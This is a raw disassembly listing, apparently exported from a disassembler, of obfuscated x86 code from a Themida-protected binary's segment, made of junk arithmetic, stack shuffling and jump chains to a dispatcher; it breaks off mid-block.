loc_59CA19: ; CODE XREF: Themida_:005A083Cj
; Themida_:005AF378j
push ebp
push esp
jmp loc_5AD40B
; ---------------------------------------------------------------------------
loc_59CA20: ; CODE XREF: Themida_:0059C3F5j
jp loc_5A80C4
sub edx, 1C026C0Fh
jmp loc_5A83A4
; ---------------------------------------------------------------------------
loc_59CA31: ; CODE XREF: Themida_:005A87FEj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_5A0855
; ---------------------------------------------------------------------------
loc_59CA47: ; CODE XREF: Themida_:0059F8FCj
mov edx, 0B275D86h
shr edx, 7
add edx, 4FC77B85h
js loc_59CADD
or edx, 278A2ECBh
jz loc_5AE220
shr edx, 2
jns loc_5AA622
push esi
jmp loc_5A6B85
; ---------------------------------------------------------------------------
push edi
mov edi, 4
push esp
loc_59CA7D: ; CODE XREF: Themida_:005A2E8Ej
add edx, ebp
pop ebp
xchg edx, [esp]
pop esp
push ecx
mov ch, 38h
add ch, 39h
push ebx
mov bh, 0D7h
not bh
xor bh, 4Ah
or bh, 0E3h
add bh, 57h
jmp loc_5A8F30
; ---------------------------------------------------------------------------
loc_59CA9D: ; CODE XREF: Themida_:005A7FDBj
sub eax, 90D0F360h
mov edi, eax
pop eax
xor edi, 4D453918h
jmp loc_5A23F5
; ---------------------------------------------------------------------------
loc_59CAB0: ; CODE XREF: Themida_:005A44BCj
jmp loc_598A8D
; ---------------------------------------------------------------------------
loc_59CAB5: ; CODE XREF: Themida_:0059995Aj
mov ecx, esp
push eax
push edx
jmp loc_5A8E67
; ---------------------------------------------------------------------------
loc_59CABE: ; CODE XREF: Themida_:005A8943j
mov ebp, 3103048Ch
dec ebp
xor ebp, 6759285Fh
sub eax, ebp
jmp loc_5A722F
; ---------------------------------------------------------------------------
loc_59CAD1: ; CODE XREF: Themida_:0059A6D5j
; Themida_:005A3399j
mov esp, [esp]
mov [esp], ax
jmp loc_5A7851
; ---------------------------------------------------------------------------
loc_59CADD: ; CODE XREF: Themida_:0059994Dj
; Themida_:0059CA55j
or edx, 278A2ECBh
jz loc_59C133
shr edx, 2
jns loc_5A7794
jmp loc_59B079
; ---------------------------------------------------------------------------
mov edi, [esp]
add esp, 4
sub al, 3Ah
pop edx
loc_59CB00: ; CODE XREF: Themida_:005A48FEj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59CB05: ; CODE XREF: Themida_:005A0862j
; Themida_:005AA67Fj
add ecx, edi
jmp loc_59B6C9
; ---------------------------------------------------------------------------
loc_59CB0C: ; CODE XREF: Themida_:005A0816j
mov ebx, esp
add ebx, 4
jmp loc_59F145
; ---------------------------------------------------------------------------
loc_59CB19: ; CODE XREF: Themida_:0059DEFBj
jbe loc_5AE610
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 0CA20E7Dh
push edx
mov edx, 56F55BA1h
jmp loc_5A6FDD
; ---------------------------------------------------------------------------
loc_59CB39: ; CODE XREF: Themida_:005ACF6Ej
push eax
not dword ptr [esp]
jmp loc_5A43C8
; ---------------------------------------------------------------------------
loc_59CB42: ; CODE XREF: Themida_:005AD8A6j
neg dword ptr [esp]
pop ebp
push 0
sub [esp], ebp
jmp loc_5A7C0E
; ---------------------------------------------------------------------------
loc_59CB53: ; CODE XREF: Themida_:00599DEBj
xor dh, 0F5h
add bl, 97h
add bl, dh
sub bl, 97h
mov edx, [esp]
jmp loc_5A724A
; ---------------------------------------------------------------------------
loc_59CB66: ; CODE XREF: Themida_:0059B39Ej
mov dl, 2
not dl
jmp loc_5A1657
; ---------------------------------------------------------------------------
loc_59CB6F: ; CODE XREF: Themida_:005A77CCj
mov dl, 2Ah
sub al, 2Dh
push edx
mov dh, 6Fh
or dh, 6Eh
jmp loc_5A8F6B
; ---------------------------------------------------------------------------
loc_59CB7E: ; CODE XREF: Themida_:005AE490j
pop edx
add edx, 4
jmp loc_5A7C4A
; ---------------------------------------------------------------------------
loc_59CB8A: ; CODE XREF: Themida_:005A8D6Bj
pop eax
push 7079h
mov [esp], edx
push 4
mov edx, [esp]
push 4088h
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_59ED48
; ---------------------------------------------------------------------------
loc_59CBB0: ; CODE XREF: Themida_:005AB3C2j
xor edx, 0A7E79CDEh
mov ecx, edx
push dword ptr [esp]
jmp loc_5A1E26
; ---------------------------------------------------------------------------
loc_59CBC0: ; CODE XREF: Themida_:005A8502j
not dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub ecx, 1
push ebx
jmp loc_5A2733
; ---------------------------------------------------------------------------
loc_59CBD2: ; CODE XREF: Themida_:005A603Bj
add ecx, ebp
pop ebp
jmp loc_59A1D6
; ---------------------------------------------------------------------------
loc_59CBDA: ; CODE XREF: Themida_:005A11BBj
xchg eax, esi
not eax
xchg eax, esi
xchg eax, esi
jmp loc_59DFB0
; ---------------------------------------------------------------------------
loc_59CBE4: ; CODE XREF: Themida_:005A7D6Ej
mov dh, 8Fh
add dh, 82h
neg dh
add dh, 50h
shr dh, 1
jmp loc_5AF051
; ---------------------------------------------------------------------------
loc_59CBF5: ; CODE XREF: Themida_:005A68AAj
not edx
not edx
or edx, 2BB24DFEh
jle loc_5AD8AB
sub edx, 3C8B7D1Eh
sub edx, 76DD20F7h
xor edx, 0BB5FDE92h
xor edx, 4A40084Ah
sub edx, 0FFFFFFFFh
add edx, 2E252584h
push ebp
mov ebp, 62732856h
jmp loc_598D58
; ---------------------------------------------------------------------------
loc_59CC34: ; CODE XREF: Themida_:0059A5E3j
xor cl, bh
pop ebx
add cl, dl
jmp loc_5A3441
; ---------------------------------------------------------------------------
loc_59CC3E: ; CODE XREF: Themida_:005A5BD4j
mov ebp, 3C3D2351h
sub ebp, 62332895h
jmp loc_59B1A6
; ---------------------------------------------------------------------------
loc_59CC4E: ; CODE XREF: Themida_:0059B9D8j
xor esi, edx
jmp loc_5A820C
; ---------------------------------------------------------------------------
loc_59CC55: ; CODE XREF: Themida_:005AF528j
inc bh
jmp loc_598E5C
; ---------------------------------------------------------------------------
loc_59CC5C: ; CODE XREF: Themida_:loc_59EF67j
not edx
shr edx, 7
jmp loc_59E863
; ---------------------------------------------------------------------------
loc_59CC66: ; CODE XREF: Themida_:005A3FACj
pop esi
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5A795E
; ---------------------------------------------------------------------------
loc_59CC81: ; CODE XREF: Themida_:loc_5A0E54j
; Themida_:005A6B9Ej
add ebp, 1837740Eh
jl loc_598B26
push esi
mov esi, 74F60100h
add esi, 9422A279h
sub ebp, esi
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_599261
; ---------------------------------------------------------------------------
loc_59CCB1: ; CODE XREF: Themida_:0059FED6j
sub dword ptr [esp], 0AB11F51h
pop ecx
add ecx, 0AB11F51h
mov edx, [esp]
add esp, 4
push edi
mov edi, 5D5E76FBh
add eax, 5C242DB2h
add eax, edi
sub eax, 5C242DB2h
mov edi, [esp]
add esp, 4
jmp loc_5A3CDF
; ---------------------------------------------------------------------------
loc_59CCE5: ; CODE XREF: Themida_:005AD90Bj
pop ebp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_5AC65B
; ---------------------------------------------------------------------------
loc_59CCF8: ; CODE XREF: Themida_:0059C96Fj
add esp, 4
add eax, 77B11052h
add eax, 215353F5h
add eax, ebx
sub eax, 215353F5h
sub eax, 77B11052h
push ebx
push eax
mov eax, 4AED6C9Ch
or eax, 4A0F54DBh
jns loc_5A06F0
shr eax, 8
neg eax
jz loc_5ABBFD
loc_59CD31: ; CODE XREF: Themida_:005A304Dj
add dword ptr [esp], 4
pop ebx
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_5AB914
; ---------------------------------------------------------------------------
loc_59CD4F: ; CODE XREF: Themida_:005A516Bj
add edx, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
push edx
mov edx, 4
add ebx, 58FD4373h
add ebx, edx
sub ebx, 58FD4373h
pop edx
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59CD78: ; CODE XREF: Themida_:005ACACBj
mov bh, dl
pop edx
jmp loc_5AE653
; ---------------------------------------------------------------------------
loc_59CD80: ; CODE XREF: Themida_:005A349Bj
pop edi
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
bt [esp], eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59CD9A: ; CODE XREF: Themida_:005A2BEBj
mov eax, [esp]
add esp, 4
push 7D44h
mov [esp], ecx
jmp loc_59961C
; ---------------------------------------------------------------------------
loc_59CDAD: ; CODE XREF: Themida_:005A3997j
mov ebp, 3F9B771Ch
push ebp
sub dword ptr [esp], 1A587E3Bh
jmp loc_5A5A84
; ---------------------------------------------------------------------------
loc_59CDBF: ; CODE XREF: Themida_:00598E0Fj
; Themida_:005A3B5Ej
jmp loc_5987E0
; ---------------------------------------------------------------------------
loc_59CDC4: ; CODE XREF: Themida_:005A938Ej
push bx
mov bl, 0A8h
add ch, bl
pop bx
sub esp, 4
mov [esp], ebx
push edx
mov dl, 95h
push eax
mov ah, dl
mov bl, ah
pop eax
pop edx
add bl, 0B8h
jmp loc_59E447
; ---------------------------------------------------------------------------
loc_59CDE4: ; CODE XREF: Themida_:005A19EAj
mov ebp, [esp]
add esp, 4
jmp loc_5A0C1D
; ---------------------------------------------------------------------------
loc_59CDF2: ; CODE XREF: Themida_:005A86F1j
pop esi
xor edx, ebx
mov ebx, [esp]
push 7D16h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
loc_59CE12: ; CODE XREF: Themida_:005A1A87j
; Themida_:005AB382j
push dword ptr [edi+24h]
jmp loc_59EED2
; ---------------------------------------------------------------------------
loc_59CE1A: ; CODE XREF: Themida_:0059AA75j
; Themida_:005A8966j
mov esp, [esp]
jmp loc_5A18EA
; ---------------------------------------------------------------------------
loc_59CE22: ; CODE XREF: Themida_:005AA2EAj
pop esi
add esp, 4
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_59E031
; ---------------------------------------------------------------------------
loc_59CE3D: ; CODE XREF: Themida_:0059EBA3j
add edx, 62E35A91h
sub ebx, edx
mov edx, [esp]
add esp, 4
push 227h
jmp loc_5A20FA
; ---------------------------------------------------------------------------
loc_59CE55: ; CODE XREF: Themida_:loc_59F86Bj
neg al
add al, 90h
mov dl, al
pop eax
jmp loc_5A04F1
; ---------------------------------------------------------------------------
loc_59CE61: ; CODE XREF: Themida_:005A3009j
sub ebp, 32AB1ECCh
inc ebp
push eax
jmp loc_5A7A23
; ---------------------------------------------------------------------------
loc_59CE6E: ; CODE XREF: Themida_:00599DBEj
shr edx, 4
jmp loc_5AD3ED
; ---------------------------------------------------------------------------
loc_59CE76: ; CODE XREF: Themida_:0059D6B6j
mov eax, [esp]
add esp, 4
push ebx
mov ebx, esp
push ebp
mov ebp, 687434B4h
dec ebp
xor ebp, 5DEF1F98h
shr ebp, 4
xor ebp, 3AB546E5h
shl ebp, 3
push edx
mov edx, 67D95AE4h
inc edx
shr edx, 3
jmp loc_5A0537
; ---------------------------------------------------------------------------
loc_59CEA7: ; CODE XREF: Themida_:005AC0B9j
xchg edx, [esp]
pop esp
cmp cl, al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59CEB3: ; CODE XREF: Themida_:005A7411j
push esi
push 573Eh
mov [esp], edx
jmp loc_5AC5D7
; ---------------------------------------------------------------------------
loc_59CEC1: ; CODE XREF: Themida_:005A042Ej
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A9B74
; ---------------------------------------------------------------------------
loc_59CECC: ; CODE XREF: Themida_:005A294Bj
push 5EECh
mov [esp], eax
jmp loc_5AD674
; ---------------------------------------------------------------------------
loc_59CED9: ; CODE XREF: Themida_:0059AD53j
; Themida_:005A97FAj
sub ebx, eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_5A0C03
; ---------------------------------------------------------------------------
loc_59CEEF: ; CODE XREF: Themida_:0059F0EAj
sub bh, ch
push dword ptr [esp]
jmp loc_5988F1
; ---------------------------------------------------------------------------
loc_59CEF9: ; CODE XREF: Themida_:005ABA04j
pop ecx
jmp loc_5A3531
; ---------------------------------------------------------------------------
loc_59CEFF: ; CODE XREF: Themida_:005AEE76j
pop edx
add cl, 43h
add cl, 6
jmp loc_5A0C28
; ---------------------------------------------------------------------------
loc_59CF0B: ; CODE XREF: Themida_:005ABBEDj
jmp loc_5ADC74
; ---------------------------------------------------------------------------
loc_59CF10: ; CODE XREF: Themida_:005AD075j
add edi, 49F00616h
pop ebx
sub esp, 4
jmp loc_5AE057
; ---------------------------------------------------------------------------
loc_59CF22: ; CODE XREF: Themida_:005A1B10j
xchg edi, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push edi
push esi
mov esi, 1B590C76h
mov edi, 1B590C7Ah
sub edi, esi
push dword ptr [esp]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5AF21F
; ---------------------------------------------------------------------------
loc_59CF68: ; CODE XREF: Themida_:005A9A97j
push edi
mov edi, esp
jmp loc_5AAE24
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ebx
mov ebx, 56554945h
jmp loc_5A14A5
; ---------------------------------------------------------------------------
loc_59CF81: ; CODE XREF: Themida_:005AE165j
add ebx, 583F9CBFh
jmp loc_5AB2BA
; ---------------------------------------------------------------------------
loc_59CF8C: ; CODE XREF: Themida_:005AC788j
sub ebx, 4
xchg ebx, [esp]
jmp loc_5AC209
; ---------------------------------------------------------------------------
loc_59CF9A: ; CODE XREF: Themida_:005A1DDCj
pop ecx
sub al, 0C0h
push edx
mov dl, 0F5h
sub al, dl
pop edx
sub al, 9
add al, dl
add al, 9
add al, 0F5h
push ebx
mov bl, 0C0h
add al, bl
mov ebx, [esp]
add esp, 4
mov dx, [esp]
add esp, 2
push bx
mov bh, 0A9h
inc bh
add bh, 3Bh
jmp loc_5AC8A9
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59CFDE: ; CODE XREF: Themida_:005AC7F6j
add esi, edi
sub esi, 25AE10B4h
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_5A1E3C
; ---------------------------------------------------------------------------
loc_59CFF8: ; CODE XREF: Themida_:005A8EFCj
pop eax
neg edi
jmp loc_599EDB
; ---------------------------------------------------------------------------
loc_59D000: ; CODE XREF: Themida_:0059F90Aj
sub ebx, ebp
pop ebp
jmp loc_5A38BF
; ---------------------------------------------------------------------------
loc_59D008: ; CODE XREF: Themida_:005A16E4j
mov ebp, 35737AA9h
or ebp, 28E64716h
push esi
mov esi, 47C95439h
push edx
mov edx, 674C0235h
sub esi, edx
jmp loc_5A4610
; ---------------------------------------------------------------------------
loc_59D026: ; CODE XREF: Themida_:005ABD0Cj
pop esp
push 3A11h
jmp loc_59C752
; ---------------------------------------------------------------------------
push 0B96h
jmp loc_59F7F5
; ---------------------------------------------------------------------------
loc_59D03B: ; CODE XREF: Themida_:005A3A0Fj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59D040: ; CODE XREF: Themida_:005ACBF7j
sub edx, esi
pop esi
sub edx, 15DA35D2h
add edx, edi
jmp loc_5A6055
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2384h
jmp loc_5A2727
; ---------------------------------------------------------------------------
loc_59D05E: ; CODE XREF: Themida_:00599A2Bj
mov [esp], ebx
push edi
mov edi, 0CA95E82h
push 65A8h
mov [esp], edi
pop ebx
mov edi, [esp]
add esp, 4
inc ebx
js loc_5A16E9
add ebx, 40DD013Dh
jns loc_5A3AEE
not ebx
xor ebx, 87C32A4h
jmp loc_59DDDF
; ---------------------------------------------------------------------------
loc_59D096: ; CODE XREF: Themida_:005A0C23j
pop edi
neg edi
not edi
neg edi
inc edi
push edx
push ebp
mov ebp, 2F805AA9h
jmp loc_5A15A2
; ---------------------------------------------------------------------------
loc_59D0AA: ; CODE XREF: Themida_:005ABAAFj
add cl, 0A4h
jge loc_59A001
add cl, 2Dh
mov dh, cl
pop ecx
add dh, 5
jmp loc_5A6040
; ---------------------------------------------------------------------------
loc_59D0C1: ; CODE XREF: Themida_:005A68F3j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59D0C6: ; CODE XREF: Themida_:0059EC7Ej
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 1A01h
mov [esp], esi
push ecx
push 4F2A7EDFh
pop ecx
not ecx
jmp loc_5A763E
; ---------------------------------------------------------------------------
loc_59D0EC: ; CODE XREF: Themida_:005A1337j
add esi, 6E9C0282h
add esi, 64F37A4h
add esi, eax
sub esi, 64F37A4h
sub esi, 6E9C0282h
push 73D7h
jmp loc_5AC354
; ---------------------------------------------------------------------------
loc_59D110: ; CODE XREF: Themida_:005A9B57j
sub edx, 2CB11D3Bh
jmp loc_5AB20C
; ---------------------------------------------------------------------------
loc_59D11B: ; CODE XREF: Themida_:0059B710j
; Themida_:0059B88Aj
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5A08BE
; ---------------------------------------------------------------------------
loc_59D12C: ; CODE XREF: Themida_:0059DA8Aj
add esi, 4
xchg esi, [esp]
pop esp
push 0BDFh
mov [esp], ebx
mov ebx, 5F3C533Ch
xor ecx, ebx
jmp loc_59C783
; ---------------------------------------------------------------------------
loc_59D147: ; CODE XREF: Themida_:005A6ADFj
sub edx, esi
pop esi
pop ebp
jmp loc_5A4456
; ---------------------------------------------------------------------------
loc_59D150: ; CODE XREF: Themida_:0059E748j
mov ah, bh
pop ebx
push dword ptr [esp]
pop edx
jmp loc_59E758
; ---------------------------------------------------------------------------
loc_59D15C: ; CODE XREF: Themida_:0059BEB4j
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
push esi
jmp loc_5A0215
; ---------------------------------------------------------------------------
loc_59D16C: ; CODE XREF: Themida_:005AF49Dj
dec ah
jg loc_5A1076
jmp loc_598FB7
; ---------------------------------------------------------------------------
push edi
mov edi, 38616C74h
push eax
loc_59D180: ; CODE XREF: Themida_:005A789Dj
add esp, 4
xor ecx, 30982E63h
mov eax, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
pop ebx
push 7ACBh
mov [esp], ebp
push edi
mov edi, 6C072A76h
mov ebp, 6C072A7Ah
push eax
push ebx
mov ebx, 7F844E17h
push eax
mov eax, 742A0C2Dh
xor ebx, eax
mov eax, [esp]
add esp, 4
jmp loc_5A85AF
; ---------------------------------------------------------------------------
loc_59D1D8: ; CODE XREF: Themida_:005A48E8j
; Themida_:005AE40Bj
and eax, 5900011Ch
xor eax, 5906677Ch
add edx, 64DD6B49h
add edx, eax
sub edx, 64DD6B49h
pop eax
add edx, ebx
push 12EDh
mov [esp], ebp
mov ebp, 1806677Ch
add edx, 445A7CE5h
sub edx, ebp
sub edx, 445A7CE5h
mov ebp, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_5A252F
; ---------------------------------------------------------------------------
loc_59D233: ; CODE XREF: Themida_:005AD519j
add ah, 35h
push dx
mov dh, 0E0h
add ah, dh
pop dx
mov ch, ah
mov eax, [esp]
add esp, 4
sub ah, ch
pop cx
xor bl, ah
pop eax
neg bl
jmp loc_59FA2D
; ---------------------------------------------------------------------------
loc_59D254: ; CODE XREF: Themida_:005AA949j
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
jmp loc_5A04F1
; ---------------------------------------------------------------------------
loc_59D261: ; CODE XREF: Themida_:005A6F6Ej
push edi
push eax
mov eax, 7B0E3718h
neg eax
jmp loc_5A54AD
; ---------------------------------------------------------------------------
loc_59D26F: ; CODE XREF: Themida_:005A0914j
xor ebx, 9C84D652h
mov ebp, ebx
mov ebx, [esp]
jmp loc_5AE5C6
; ---------------------------------------------------------------------------
loc_59D27F: ; CODE XREF: Themida_:005A8EC7j
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
push ebp
mov ebp, 4
jmp loc_59AC85
; ---------------------------------------------------------------------------
loc_59D293: ; CODE XREF: Themida_:005A846Dj
xchg ebp, [esp]
pop esp
jmp loc_59DA25
; ---------------------------------------------------------------------------
loc_59D29C: ; CODE XREF: Themida_:0059ECF7j
xor edi, eax
jmp loc_5A02CC
; ---------------------------------------------------------------------------
loc_59D2A3: ; CODE XREF: Themida_:0059AD30j
sub dword ptr [esp+4], 55F663FAh
sub dword ptr [esp+4], 2AAD4243h
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A2B86
; ---------------------------------------------------------------------------
loc_59D2C8: ; CODE XREF: Themida_:005A9677j
jmp loc_59D561
; ---------------------------------------------------------------------------
loc_59D2CD: ; CODE XREF: Themida_:0059EACCj
and dl, 0A8h
sub dl, 0D6h
shr dl, 7
jmp loc_5A0930
; ---------------------------------------------------------------------------
loc_59D2DB: ; CODE XREF: Themida_:0059D367j
pop esi
dec esi
add esi, 10290232h
mov ebx, esi
jmp loc_5A8C78
; ---------------------------------------------------------------------------
loc_59D2EA: ; CODE XREF: Themida_:0059ABBFj
mov ecx, 75953CAh
xor ecx, 401E7270h
and ecx, 4B481CB0h
and ecx, 43EC3AC4h
jmp loc_5A5AD1
; ---------------------------------------------------------------------------
loc_59D306: ; CODE XREF: Themida_:loc_5A05F4j
or ebx, 0EE9230Ch
jmp loc_59E74D
; ---------------------------------------------------------------------------
loc_59D311: ; CODE XREF: Themida_:005A3CCCj
sub al, 58h
sub al, bh
add al, 58h
jmp loc_5ABEB3
; ---------------------------------------------------------------------------
loc_59D31C: ; CODE XREF: Themida_:005A6B92j
xor edx, 0EEB1C9E9h
jmp loc_5AE5F6
; ---------------------------------------------------------------------------
loc_59D327: ; CODE XREF: Themida_:005A5D1Aj
; Themida_:005A9F47j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59C3D3
; ---------------------------------------------------------------------------
loc_59D34B: ; CODE XREF: Themida_:0059AF9Dj
add esi, 4
xchg esi, [esp]
jmp loc_5A0D4E
; ---------------------------------------------------------------------------
loc_59D359: ; CODE XREF: Themida_:005AE109j
push 7E95h
mov [esp], ebx
push esi
push 3DE65E0Bh
jmp loc_59D2DB
; ---------------------------------------------------------------------------
loc_59D36C: ; CODE XREF: Themida_:loc_59F1BEj
; Themida_:005AC035j
push eax
mov ah, bh
mov cl, ah
pop eax
mov dh, cl
push dword ptr [esp]
jmp loc_5A3526
; ---------------------------------------------------------------------------
loc_59D37C: ; CODE XREF: Themida_:005A3E9Aj
mov ebx, 0F62639Ah
xor ebx, 6D31449Ch
jmp loc_59ACE7
; ---------------------------------------------------------------------------
loc_59D38C: ; CODE XREF: Themida_:005A135Dj
xor ebp, 7C162636h
jmp loc_5A804B
; ---------------------------------------------------------------------------
loc_59D397: ; CODE XREF: Themida_:005AD433j
mov [esp], edx
jmp loc_5AD4F7
; ---------------------------------------------------------------------------
loc_59D39F: ; CODE XREF: Themida_:00599DCDj
add bh, 0F2h
mov al, bh
jmp loc_5A433C
; ---------------------------------------------------------------------------
loc_59D3A9: ; CODE XREF: Themida_:005A698Ej
xor ebx, edx
not edx
xchg edx, ebx
push ebx
xchg eax, [esp]
not eax
xchg eax, [esp]
pop ebx
add ebx, 0B6D2A85h
xor ebx, 53DE6CF6h
add eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_5AB40B
; ---------------------------------------------------------------------------
loc_59D3DB: ; CODE XREF: Themida_:005AA825j
push 442Ch
mov [esp], ebx
sub esp, 4
jmp loc_5A8B72
; ---------------------------------------------------------------------------
loc_59D3EE: ; CODE XREF: Themida_:005A360Aj
; Themida_:005A6977j
or ebx, ebx
jnz loc_59BD83
push 410Ah
mov [esp], edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A11C0
; ---------------------------------------------------------------------------
loc_59D416: ; CODE XREF: Themida_:00599252j
; Themida_:005A7279j
push ecx
mov cl, 10h
and cl, 0B1h
xor cl, 32h
and cl, 29h
dec cl
push eax
mov ah, 0E3h
add ah, 81h
xor ah, 0Ch
jmp loc_5A9D57
; ---------------------------------------------------------------------------
loc_59D432: ; CODE XREF: Themida_:005A1175j
push eax
mov eax, 17738B9h
and eax, 69639A5h
jo loc_5AD5FF
sub eax, 291730EDh
jmp loc_5A880A
; ---------------------------------------------------------------------------
loc_59D44D: ; CODE XREF: Themida_:0059B7D7j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59D452: ; CODE XREF: Themida_:005A8577j
mov ecx, 32F56C7Eh
xor ecx, 6C236CC0h
jmp loc_598F03
; ---------------------------------------------------------------------------
loc_59D462: ; CODE XREF: Themida_:005A80E2j
add ebx, 2EDC52ECh
jmp loc_59B4BA
; ---------------------------------------------------------------------------
loc_59D46D: ; CODE XREF: Themida_:0059E48Ej
mov ebx, 77834727h
inc ebx
jmp loc_5AC7FB
; ---------------------------------------------------------------------------
loc_59D478: ; CODE XREF: Themida_:005A5EC8j
push 6EB6h
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 2EBF6C2Fh
jmp loc_5A0A43
; ---------------------------------------------------------------------------
loc_59D48D: ; CODE XREF: Themida_:00598CE8j
push edx
push 4
pop edx
add eax, 6CB07969h
add eax, edx
sub eax, 6CB07969h
pop edx
push edx
jmp loc_598BF6
; ---------------------------------------------------------------------------
loc_59D4A7: ; CODE XREF: Themida_:005A41A6j
push ebp
mov ebp, 66CB61F3h
add esi, ebp
mov ebp, [esp]
add esp, 4
add esi, eax
push ecx
jmp loc_59B2D3
; ---------------------------------------------------------------------------
loc_59D4BD: ; CODE XREF: Themida_:005AA907j
jmp loc_59838C
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59D4CC: ; CODE XREF: Themida_:005AB14Dj
sub [edi+24h], edx
push dword ptr [esp]
mov edx, [esp]
push edx
jmp loc_5AEF6A
; ---------------------------------------------------------------------------
loc_59D4DB: ; CODE XREF: Themida_:005A8FC6j
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5A7B2B
; ---------------------------------------------------------------------------
loc_59D4F8: ; CODE XREF: Themida_:005A3B20j
push edx
jmp loc_59F1E6
; ---------------------------------------------------------------------------
loc_59D4FE: ; CODE XREF: Themida_:0059A84Bj
jmp loc_5ADBDD
; ---------------------------------------------------------------------------
loc_59D503: ; CODE XREF: Themida_:005991F9j
add dword ptr [esp+4], 2AB55C1h
pop ebx
mov edx, [esp]
add esp, 4
push 5A43h
mov [esp], edi
push ebp
jmp loc_59E137
; ---------------------------------------------------------------------------
loc_59D520: ; CODE XREF: Themida_:005A8CB3j
mov cx, [esp]
jmp loc_59EE39
; ---------------------------------------------------------------------------
loc_59D529: ; CODE XREF: Themida_:005A4EABj
mov [esp], eax
jmp loc_5A5FBB
; ---------------------------------------------------------------------------
loc_59D531: ; CODE XREF: Themida_:005A8C1Aj
shr ebp, 6
dec ebp
jmp loc_5AB0A9
; ---------------------------------------------------------------------------
loc_59D53A: ; CODE XREF: Themida_:005A3ED9j
shl edi, 4
jmp loc_5AC305
; ---------------------------------------------------------------------------
loc_59D542: ; CODE XREF: Themida_:loc_5A3E36j
xor esi, 74BC05C0h
xor esi, 30F8FC01h
jmp loc_5A68AF
; ---------------------------------------------------------------------------
loc_59D553: ; CODE XREF: Themida_:005A7B89j
sub esp, 4
mov [esp], edx
jmp loc_5AAB7F
; ---------------------------------------------------------------------------
loc_59D561: ; CODE XREF: Themida_:loc_59D2C8j
; Themida_:0059D770j
push esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], edi
mov edi, 3246578Eh
add edi, 1
not edi
inc edi
jmp loc_5A3142
; ---------------------------------------------------------------------------
loc_59D586: ; CODE XREF: Themida_:loc_59F1B9j
push ecx
mov ecx, 44A657D8h
xor ebx, ecx
pop ecx
and ebx, 26AE27D9h
jmp loc_5AA078
; ---------------------------------------------------------------------------
loc_59D59A: ; CODE XREF: Themida_:005AD0C3j
push edx
mov edx, 35DAECC9h
add ecx, edx
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_5A331E
; ---------------------------------------------------------------------------
loc_59D5AE: ; CODE XREF: Themida_:005AA48Cj
add [esp+4], ecx
pop ecx
jmp loc_5ADE63
; ---------------------------------------------------------------------------
loc_59D5B8: ; CODE XREF: Themida_:005A15C4j
mov [esp], ecx
sub esp, 4
mov [esp], ebp
push 204C7EC5h
pop ebp
shl ebp, 2
neg ebp
jp loc_5A3626
xor ebp, 7ECE04FCh
mov ecx, ebp
mov ebp, [esp]
push 5884h
jmp loc_59C681
; ---------------------------------------------------------------------------
loc_59D5E7: ; CODE XREF: Themida_:005A8140j
push 44F2h
mov [esp], edx
mov edx, 77862CEEh
